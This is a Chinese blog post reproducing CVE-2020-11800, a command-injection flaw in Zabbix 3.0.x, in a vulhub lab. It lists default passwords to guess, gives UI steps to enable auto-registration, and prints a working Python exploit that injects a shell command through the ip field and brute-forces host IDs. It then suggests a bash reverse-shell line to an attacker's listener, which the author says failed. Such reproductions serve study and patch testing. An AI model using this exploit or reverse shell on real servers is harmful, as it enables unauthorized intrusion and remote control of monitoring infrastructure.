zoukankan      html  css  js  c++  java
  • 漏洞复现-CVE-2020-11800-zabbix命令执行

     
     
     
     

    0x00 实验环境

    攻击机:Win 10

    靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

    0x01 影响版本

    影响版本:Zabbix 3.0.x~3.0.30

    漏洞简介:

    zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。

    zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

    zabbix由2部分构成,zabbix server与可选组件zabbix agent。

    zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台。

    0x02 漏洞复现

    (1)访问页面:

     (2)猜测弱口令:("admin","zabbix"),("Admin","zabbix"),("guest","")

     (3)进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意

     (4)然后点击Operation,创建一个Operation,type为“Add Host”:然后保存

     (5)点击“add”,添加成功:

     (6)这样就开启了自动注册功能,在下载的vulhub中漏洞目录有漏洞利用脚本,查看poc可以看到执行的是写入文件的操作,使用python3执行poc,进入docker中查看写入成功

    import sys
    import socket
    import json
    import sys
    
    
    def send(ip, data):
        conn = socket.create_connection((ip, 10051), 10)
        conn.send(json.dumps(data).encode())
        data = conn.recv(2048)
        conn.close()
        return data
    
    
    target = sys.argv[1]
    print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
    for i in range(10000, 10500):
        data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
        if data and b'failed' not in data:
            print('hostid: %d' % i)
            print(data)

    上面的命令中,我们将 "touch /tmp/success2" 换成别的命令即可:

    反弹shell的命令
    /bin/bash -i > /dev/tcp/xx.xx.xx.xx/8899 0<&1 2>&1

    (7)然后执行该exp,同时需要监听好你payload的端口(8899):

    俺也不知道为啥弹不回来,改天再研究一下。

  • 相关阅读:
    jsp 生成静态页面
    flash cs5
    sql 设置主键
    sql 分页查询
    java 获取系统时间
    android 源码 编译
    android 退出 activity
    广告平台
    android 引擎
    maya 花草 制作动画
  • 原文地址:https://www.cnblogs.com/cute-puli/p/14651583.html
Copyright © 2011-2022 走看看